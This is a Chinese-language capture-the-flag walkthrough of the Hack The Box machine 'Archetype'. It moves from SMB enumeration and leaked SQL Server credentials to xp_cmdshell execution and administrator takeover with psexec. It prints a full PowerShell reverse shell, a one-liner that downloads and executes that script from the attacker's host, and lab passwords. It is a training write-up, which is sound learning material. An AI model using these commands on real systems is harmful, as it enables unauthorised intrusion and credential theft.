文章目录
前言
操作基于Kali 2020,参照官方wp
配置代理
Kali连接下发的代理
openvpn xxx.ovpn
ifconfig
获取当前Kali的ip,10.10.14.*网段的ip
此时靶机可以ping通,靶机ip10.10.10.27
解题
信息搜集
用nmap扫一下
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27
第一条指令列出了开放的端口
-
-p-
扫描所有端口,原型是-p0-65535
-
--min-rate
指定最小发包速率 -
-T4
指定扫描时序速率,范围0-5,值越大越快
第二条指令进行了具体端口扫描
-
-sC
指定使用默认扫描脚本 -
-sV
指定探测版本信息
445、1433端口是开放的;445是SMB的端口,1433是SQL Server的端口
那么看到这就提供了一条思路:文件共享一般存储了敏感用户信息,可以尝试查找数据库和Linux的用户信息,进而走SQL Server进入
SMB
Linux使用smbclient
读取SMB
目标主机是Windows,目录分隔符要转义
smbclient -N -L \\\\10.10.10.27\\
-
-N
指定不验证密码 -
-L
表示列出信息 - ip需要用双斜杠
发现靶机共享了backups备份文件夹,找一找有没有好康的
smbclient -N \\\\10.10.10.27\\backups
smb: \> dir
找到一个.dtsConfig,它是SSIS的配置文件,即Microsoft SQL Server Integration Services,把它下载下来康康
smb: \> get prod.dtsConfig
get指令能下载指定文件到terminal的路径下
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
在配置文件中找到了主机名\用户ARCHETYPE\sql_svc
,密码M3g4c0rp123
,接下来就能连数据库了
SQL Server拿shell
用Impacket工具包访问数据库
使用里面的工具mssqlclient.py
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
-
username@ip
指定连接信息 -
-windows-auth
指定验证登录
进入数据库后先看看当前用户是否属于admin
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
返回1即属于admin
接下来就是开启shell的权限
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
先开高级选项,再开shell,最后测试一下可以用
至此我们已经初步拿到了shell
*持久化shell
SQL Server的shel还略显单薄,既然是Windows,那么就尝试用Powershell脚本、nc监听做一个持久化的连接
第一行的IP填写最开始获取的Kali IP,注意网段
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.xxx",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
另存到Kali的桌面,名称为shell.ps1
之后用python起一个服务器,以便靶机访问脚本、下载脚本,服务器在桌面起,和shell.ps1在同一个文件夹
python3 -m http.server 80
要确保起了后能访问到脚本
nc起一个监听用于shell交互,端口同上所设置的443
nc -lvnp 443
返回mssqlclient,让靶机访问、下载、运行脚本,同理xxx是Kali IP
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SQL \> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.xxx/shell.ps1\");"
- 左上是服务器,如果收到了get请求,证明靶机访问了
shell.ps1
- 左下是client端,用nc监听,有来自10.10.10.27的连接请求证明连接成功
- 右侧靶机执行运行脚本,运行后得到左侧
用nc就可以进行shell交互了
User Owns Flag
访问桌面获取到flag文件
type c:\Users\sql_svc\Desktop\user.txt
System Owns Flag
拿到了shell,找一找最近的历史
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
获取到了backups的映射和管理员密码MEGACORP_4dm1n!!
,之后使用impacket的psexec.py提权
psexec.py administrator@10.10.10.27
同理,桌面获取flag
type c:\Users\Administrator\Desktop\root.txt